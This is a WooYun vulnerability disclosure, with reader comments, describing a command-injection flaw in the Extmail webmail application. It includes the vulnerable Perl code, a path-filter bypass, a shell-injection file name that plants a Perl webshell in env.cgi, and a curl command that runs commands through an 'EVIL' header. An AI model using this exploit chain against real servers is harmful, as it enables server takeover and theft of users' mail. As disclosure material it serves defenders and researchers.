当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151160

漏洞标题:Extmail存在任意命令执行漏洞

相关厂商:Extmail

漏洞作者: Map

提交时间:2015-11-02 09:04

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-02: 细节已通知厂商并且等待厂商处理中
2015-11-06: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-31: 细节向核心白帽子及相关领域专家公开
2016-01-10: 细节向普通白帽子公开
2016-01-20: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

Extmail 是一个流行的邮箱部署应用,很多公司都使用了该产品来部署邮箱。
它存在一个任意命令执行漏洞,通过该漏洞可以获取服务器的权限。
这个漏洞要感谢letvcloud 的 yangtong 、ifeng.com 的caoyang。

详细说明:


libs/Ext/App/Message.pm 内:
有以下代码:

my $cmd = "$sys->{SYS_CONFIG}/tools/spam_report.pl --type=$app --report_spam --single --msg=$msg";


如果我们可以控制$msg,我们就可以执行任意代码,往上走看$msg 从哪里来。
my $msg = $MSGFILE;
再往上走:

$MSGFILE = $ENV{MAILDIR}; # XXX
$MSGFILE .= '/'._name2mdir($FOLDER);


省略一点代码……

if($file eq $MSGID || !$MSGID){
$MSGFILE .= '/cur/'.$file;


所以 如果$file(文件名) 等于 $MSGID ,那么就会把文件名附加给$MSGFILE 。
好吧,我直接进入主题,只要我们能再cur下放一个文件名对的文件,那么我们就可以执行任意命令了,我们怎么把文件放过去呢?
在 libs/Ext/Storage/Fileman.pm 内

sub op_move {
my ($from, $to) = @_;
$from = fixpath($from);
$to = fixpath($to);


省略一点代码……

rename(untaint($rfrom), untaint("$rto/$fromname")) ||


…………
我们看看fixpath是怎么写的。

sub fixpath {
my $path = shift;
# fix bug, old bug code: $path =~ s#\.{2,}/##g;
$path =~ s#/\.+##g; # strip /.. or /... etc
$path =~ s#\.+/##g; # strip ../ or .../ etc
$path =~ s#\\\.+##g; # strip \. or \... etc
$path =~ s#\\+##g; # strip \\ or \\\ etc
$path;
}


还是那句话,多字节的替换是不安全的。
当提交的内容是:..\\/cur/的时候,剩下的会是../cur/,所以使用这个网盘功能,上传了文件之后,我们可以把这个文件顺利的移动到./cur/下,也就是这个用户的收件箱。
其实运气特别好,因为fixpath函数要是单独使用的话,可以是剩下../的,如果和$CFG{path}使用的话,就毛都不剩下了,例如:

my $rto = fixslash(fixpath("$CFG{path}/$to"));


接下来我还是演示一下这个漏洞吧,使用官方的在线演示站点演示一下,我直接使用官方的测试版本测试吧

2.pic_hd.jpg


(接下来的所有URL里出现的sid参数都为当前登录身份的sid,每个登录用户的是不一样的,请知)
在 http://**.**.**.**/extmail/cgi/index.cgi 使用demo 账户登录进去。
在网盘功能页面
http://**.**.**.**/extmail/cgi/netdisk.cgi?__mode=list_dir&sid=336f95e4406cbeb90dc4754b112785b0 上传一封邮件格式的文件,例如:
文件名:1

1.jpg


内容:

From: "=?ISO-8859-1?B?dGVzdA==?=" <xxx@**.**.**.**>
To: xxx@**.**.**.**
Subject: =?ISO-8859-1?B?bmloYW95YQ==?=
Date: Fri, 30 Oct 2015 10:37:43 +0800
Mime-version: 1.0
X-Originating-Ip: []
X-Mailer: ExtMail 1.1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: base64
bmloYW95YQ0K


然后给该文件修改一个名字:
&& cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd var && cd www && cd cgi-bin && cd extmail && cd cgi && echo 'system($ENV{"HTTP_EVIL"});' >> env.cgi &&
然后用 firebug 修改一下表单内的 / 为 ..\\/cur/ 。

1.pic.jpg


3.pic.jpg


然后选择该下拉,点击 “移动到” ,然后你就回在收件箱里看到这封邮件。

4.pic.jpg


然后查看框代码,搜素report,找到对应的URL,然后将msgid里的参数做一下URL编码。

5.pic_hd.jpg


readmsg.cgi?__mode=report&sid=336f95e4406cbeb90dc4754b112785b0&folder=Inbox&pos=0&msgid=&& cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd .. && cd var && cd www && cd cgi-bin && cd extmail && cd cgi && echo 'system($ENV{"HTTP_EVIL"});' >> env.cgi &&


好了,你已经拥有了一个更好操作的webshell了。

6.pic_hd.jpg


具体的路径:http://**.**.**.**/extmail/cgi/env.cgi 会告诉你。
curl -H "EVIL:ls -al" http://**.**.**.**/extmail/cgi/env.cgi -silence |grep -v "<"

7.pic_hd.jpg


就是这么顺利。

漏洞证明:

修复方案:

你懂的。

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-11-06 15:07

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件和电话通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-11-02 09:14 | he1renyagao ( 普通白帽子 | Rank:230 漏洞数:30 | 是金子总会发光,在还未发光之前,先磨磨)

    0day!

  2. 2015-11-02 09:15 | 暴走 ( 普通白帽子 | Rank:518 漏洞数:95 | Wooyun的Rank获取如同Dota冲天梯有过之而无...)

    0day!

  3. 2015-11-02 09:15 | 牛 小 帅 ( 普通白帽子 | Rank:1101 漏洞数:257 | 1.乌云最帅的男人 ...)

    瞬间有雷!

  4. 2015-11-02 09:16 | fuckadmin ( 普通白帽子 | Rank:616 漏洞数:87 | 千里之堤溃于蚁穴)

    要关注~

  5. 2015-11-02 09:19 | 撸大叔 ( 实习白帽子 | Rank:62 漏洞数:11 | 钓鱼培养耐心 养鱼需要精心!)

    关注!

  6. 2015-11-02 09:22 | depycode ( 普通白帽子 | Rank:299 漏洞数:51 | 关注网络安全,提高技术!)

    必须关注Map大牛

  7. 2015-11-02 09:23 | backda0 ( 实习白帽子 | Rank:49 漏洞数:20 | none)

    1day!

  8. 2015-11-02 09:44 | DNS ( 普通白帽子 | Rank:711 漏洞数:73 | root@qisec.com)

    大牛

  9. 2015-11-02 09:45 | 这只猪 ( 路人 | Rank:24 漏洞数:6 | )(2009年荣获CCAV首届挖洞大使称号)(★★★...)

    ODAY出现了。。。

  10. 2015-11-02 09:47 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    0day~

  11. 2015-11-02 09:52 | wy007 ( 普通白帽子 | Rank:108 漏洞数:11 | 其实我是一名卧底...)

    等了好久的0day,终于横空出世~

  12. 2015-11-02 09:54 | an0nym0u5 ( 普通白帽子 | Rank:318 漏洞数:50 )

    膜拜

  13. 2015-11-02 09:58 | xsser 认证白帽子 ( 普通白帽子 | Rank:282 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    大神又来搞perl了

  14. 2015-11-02 10:07 | 途牛旅游网(乌云厂商)

    出现了=.=

  15. 2015-11-02 10:12 | chock ( 普通白帽子 | Rank:120 漏洞数:23 | 若你喜欢怪人)

    骆驼肉不是谁都能啃得下的

  16. 2015-11-02 10:30 | Mark0smith ( 普通白帽子 | Rank:113 漏洞数:48 )

    瞬间

  17. 2015-11-02 10:33 | 残废 ( 普通白帽子 | Rank:274 漏洞数:58 | 我是残废,啦啦啦啦)

    666666666666

  18. 2015-11-02 10:50 | 金枪银矛小霸王 ( 普通白帽子 | Rank:141 漏洞数:29 | 不会挖洞洞的猿猿不是好学生)

    @途牛旅游网 你是要赶紧升级的节奏吗

  19. 2015-11-02 11:07 | U神 ( 普通白帽子 | Rank:1343 漏洞数:148 | 五个乌云币都不给我留着,兄弟们太小气了吧)

    太厉害了,又有人要拿他刷事件了

  20. 2015-11-02 11:43 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    EXP

  21. 2015-11-02 12:43 | 刘海哥 ( 普通白帽子 | Rank:115 漏洞数:29 | 索要联系方式但不送礼物的厂商定义为无良厂...)

    mark

  22. 2015-11-02 12:45 | Mieless ( 实习白帽子 | Rank:35 漏洞数:10 | 我是来打酱油的。)

    大赚

  23. 2015-11-02 12:58 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

  24. 2015-11-02 13:05 | 乐乐、 ( 普通白帽子 | Rank:868 漏洞数:132 )

    大牛!

  25. 2015-11-02 13:10 | 403 ( 普通白帽子 | Rank:148 漏洞数:13 | 求收编!)

    天雷滚滚!

  26. 2015-11-02 13:11 | 大宗师 ( 路人 | Rank:16 漏洞数:11 | 政府单位 web安全工程师)

    大牛 果然牛逼啊

  27. 2015-11-02 13:17 | 白开水 ( 普通白帽子 | Rank:242 漏洞数:27 | 苍茫的天涯是我的爱~)

    mark

  28. 2015-11-02 13:52 | 银冥币 ( 实习白帽子 | Rank:65 漏洞数:21 | test" src="/upload/avatar/avatar_251_b.j...)

    快忽略,就等这了..

  29. 2015-11-02 14:00 | s4cr00t ( 实习白帽子 | Rank:32 漏洞数:7 | 自由,共享,平等)

    膜拜,mark

  30. 2015-11-02 14:05 | PiaCa ( 普通白帽子 | Rank:137 漏洞数:10 | 简单点!啪......嚓~~)

    好屌

  31. 2015-11-02 14:06 | luwikes ( 普通白帽子 | Rank:532 漏洞数:79 | 潜心学习~~~)

    硬汉

  32. 2015-11-02 14:07 | range ( 普通白帽子 | Rank:162 漏洞数:36 | 这个人有点懒,没有写个人简介)

    快忽略,就等这了..

  33. 2015-11-02 14:16 | 霝z ( 普通白帽子 | Rank:116 漏洞数:41 | 不值得生气~就这样。see you soon.)

    这是打包所有邮件的节奏啊。。

  34. 2015-11-02 14:23 | 计算姬 ( 普通白帽子 | Rank:526 漏洞数:113 | 看我看我看我啊)

    @range 我觉得就是厂商忽略了,乌云也不会公开的

  35. 2015-11-02 14:35 | phoenix ( 路人 | Rank:6 漏洞数:2 | 多读,多看,多做!)

    0day!!!!

  36. 2015-11-02 15:03 | zeracker 认证白帽子 ( 普通白帽子 | Rank:1077 漏洞数:134 | 多乌云、多机会!微信公众号: id:a301zls ...)

    你真是个好人。

  37. 2015-11-02 15:16 | scanf ( 核心白帽子 | Rank:1423 漏洞数:203 | 。)

    真是一个好人。

  38. 2015-11-02 15:33 | 黑名单 ( 实习白帽子 | Rank:62 漏洞数:14 | 像个傻瓜似的,为什么。)

    坐等公开

  39. 2015-11-02 15:40 | 银冥币 ( 实习白帽子 | Rank:65 漏洞数:21 | test" src="/upload/avatar/avatar_251_b.j...)

    @计算姬 忽略包公开,这是流程

  40. 2015-11-02 15:43 | lxj616 ( 普通白帽子 | Rank:440 漏洞数:92 | 来自喵星的太空喵)

    Monster kill!!!

  41. 2015-11-02 15:58 | Evi1cg ( 路人 | 还没有发布任何漏洞 | 喵喵汪~)

    坐等公开

  42. 2015-11-02 16:31 | Hex ( 实习白帽子 | Rank:33 漏洞数:14 | 又一天过去了,今天过得怎么样,梦想是不是...)

    0day 大牛

  43. 2015-11-02 16:34 | 泪雨无魂 ( 普通白帽子 | Rank:229 漏洞数:57 )

    0day

  44. 2015-11-02 16:46 | GrayTrack ( 实习白帽子 | Rank:88 漏洞数:19 | TXTSEC信息安全团队)

    0day

  45. 2015-11-02 16:53 | 计算姬 ( 普通白帽子 | Rank:526 漏洞数:113 | 看我看我看我啊)

    @银冥币 没没没,你看看以往的就知道了,后台操作一下就可以了。

  46. 2015-11-02 18:31 | 我爱水秀天蓝 ( 普通白帽子 | Rank:103 漏洞数:15 | 好好学习,天天向上!)

    牛逼。跟帖留名。这个不知道是谁的马甲。

  47. 2015-11-02 18:51 | 路人毛 ( 实习白帽子 | Rank:64 漏洞数:25 | Please speak in Chinese.)

    0day!!!帅气

  48. 2015-11-02 20:58 | 银冥币 ( 实习白帽子 | Rank:65 漏洞数:21 | test" src="/upload/avatar/avatar_251_b.j...)

    @计算姬 厂商都忽略了的话...就肯定是公开的啊....

  49. 2015-11-03 10:46 | H.Rui ( 实习白帽子 | Rank:37 漏洞数:10 | Yeah!)

    围观!

  50. 2015-11-03 10:53 | U神 ( 普通白帽子 | Rank:1343 漏洞数:148 | 五个乌云币都不给我留着,兄弟们太小气了吧)

    @计算姬 对方没有选通用

  51. 2015-11-03 11:57 | Catsay ( 实习白帽子 | Rank:88 漏洞数:18 | 屌丝一枚)

    坐等公开

  52. 2015-11-06 15:11 | f4ckbaidu ( 普通白帽子 | Rank:223 漏洞数:28 | 开发真是日了狗了)

    perl好难看懂- -

  53. 2015-12-03 01:19 | 节奏感 ( 路人 | Rank:21 漏洞数:4 | 共同进步 共同奋斗 共同奉献)

    oday

  54. 2016-01-12 16:28 | Croxy ( 普通白帽子 | Rank:513 漏洞数:52 | 只会送人头)

    nice

  55. 2016-01-12 16:30 | Huc-Unis ( 普通白帽子 | Rank:1228 漏洞数:327 | 穷苦人家的孩子)

    很可惜需要登录啊~

  56. 2016-01-13 10:42 | 子墨 ( 普通白帽子 | Rank:264 漏洞数:28 | 天地不仁,以万物为刍狗;圣人不仁,以百姓为...)

    必须要有网盘功能?!

  57. 2016-01-13 10:53 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    我好想现在就命令执行一下!